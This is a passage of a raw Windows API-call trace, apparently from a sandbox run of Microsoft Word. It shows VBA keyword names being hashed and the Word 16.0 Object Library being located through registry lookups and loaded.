LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0036.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0036.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0036.744] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0036.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0036.745] StringFromGUID2 (in: rguid=0x7e90060*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x266980, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0036.745] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x266640 | out: phkResult=0x266640*=0x9da) returned 0x0 [0036.745] RegOpenKeyW (in: hKey=0x9da, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0x266638 | out: phkResult=0x266638*=0x9e2) returned 0x0 [0036.746] RegEnumKeyW (in: hKey=0x9e2, dwIndex=0x0, lpName=0x266668, cchName=0xa | out: lpName="8.7") returned 0x0 [0036.746] wcscpy_s (in: _Destination=0x266650, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0036.746] RegOpenKeyW (in: hKey=0x9e2, lpSubKey="8.7", phkResult=0x2666f8 | out: phkResult=0x2666f8*=0x9f2) returned 0x0 [0036.746] _ultoa_s (in: _Val=0x409, _DstBuf=0x266670, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0036.746] RegOpenKeyA (in: hKey=0x9f2, lpSubKey="409", phkResult=0x266660 | out: phkResult=0x266660*=0x0) returned 0x2 [0036.746] _ultoa_s (in: _Val=0x9, _DstBuf=0x266670, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0036.746] RegOpenKeyA (in: hKey=0x9f2, lpSubKey="9", phkResult=0x266660 | out: phkResult=0x266660*=0x0) returned 0x2 [0036.747] RegOpenKeyA (in: hKey=0x9f2, lpSubKey="0", phkResult=0x266660 | out: phkResult=0x266660*=0x9fa) returned 0x0 [0036.747] RegOpenKeyW (in: hKey=0x9fa, lpSubKey="win64", phkResult=0x266668 | out: phkResult=0x266668*=0xa02) returned 0x0 [0036.747] RegCloseKey (hKey=0xa02) returned 0x0 [0036.747] RegCloseKey (hKey=0x9fa) returned 0x0 [0036.747] _ultow_s (in: _Value=0x0, _Buffer=0x266700, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0036.747] RegOpenKeyW (in: hKey=0x9f2, lpSubKey="0", phkResult=0x2666d8 | out: phkResult=0x2666d8*=0x9f6) returned 0x0 [0036.748] RegQueryValueW (in: hKey=0x9f6, lpSubKey="win64", lpData=0x266720, lpcbData=0x2666d4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0x2666d4) returned 0x0 [0036.748] wcscpy_s (in: _Destination=0x266a50, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0036.748] RegCloseKey (hKey=0x9f6) returned 0x0 [0036.748] RegCloseKey (hKey=0x9f2) returned 0x0 [0036.748] RegCloseKey (hKey=0x9e2) returned 0x0 [0036.748] RegCloseKey (hKey=0x9da) returned 0x0 [0036.748] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0x2666d8*=0x0 | out: pptlib=0x2666d8*=0x7f887c0) returned 0x0 [0036.749] ITypeLib:RemoteGetDocumentation (in: This=0x7f887c0, index=-1, refPtrFlags=0x2666f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xae699b8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xae699b8*="\xdc3c\xe3ce\x7fe") returned 0x0 [0036.749] IUnknown:QueryInterface (in: This=0x7f887c0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2664e8 | out: ppvObject=0x2664e8*=0x0) returned 0x80004002 [0036.749] ITypeLib:RemoteGetLibAttr (in: This=0x7f887c0, ppTLibAttr=0x2664e0, pDummy=0x10 | out: ppTLibAttr=0x2664e0, pDummy=0x10) returned 0x0 [0036.749] ITypeLib:RemoteGetDocumentation (in: This=0x7f887c0, index=-1, refPtrFlags=0x0, pbstrName=0x2664d8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7dd2240 | out: pbstrName=0x2664d8*="Microsoft Word 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7dd2240*="琀栀 漀甀爀猀⸀") returned 0x0 [0036.749] StringFromGUID2 (in: rguid=0x81c5ed0*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x266500, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0036.749] _ultow_s (in: _Value=0x8, _Buffer=0x26644a, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0036.749] _ultow_s (in: _Value=0x7, _Buffer=0x26644e, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0036.749] _ultow_s (in: _Value=0x0, _Buffer=0x266452, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0036.749] wcscpy_s (in: _Destination=0x40460e8, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0036.749] wcscpy_s (in: _Destination=0x40460ee, _SizeInWords=0x8b, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0036.749] wcscpy_s (in: _Destination=0x404613a, _SizeInWords=0x65, _Source="#8.7#0#" | out: _Destination="#8.7#0#") returned 0x0 [0036.749] wcscpy_s (in: _Destination=0x4046148, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0036.749] wcscpy_s (in: _Destination=0x40461be, _SizeInWords=0x23, _Source="Microsoft Word 16.0 Object Library" | out: _Destination="Microsoft Word 16.0 Object Library") returned 0x0 [0036.749] ITypeLib:LocalReleaseTLibAttr (This=0x7f887c0) returned 0x0 [0036.749] IMalloc:Realloc (This=0x7feff045380, pv=0x819bbe0, cb=0x1a0) returned 0x8026f90 [0036.749] wcscpy_s (in: _Destination=0x8026f90, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.749] ITypeLib:RemoteGetDocumentation (in: This=0x7f887c0, index=-1, refPtrFlags=0x2665f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4) returned 0x0 [0036.749] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0036.749] strcpy_s (in: _Dst=0x2663f0, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0036.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663f0, cbMultiByte=5, lpWideCharStr=0x266240, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0036.749] wcsncpy_s (in: _Destination=0x2661f0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.750] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0036.750] IMalloc:Alloc (This=0x7feff045380, cb=0x11c) returned 0x8126370 [0036.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x8126370, cbMultiByte=284, lpDefaultChar=0x0, 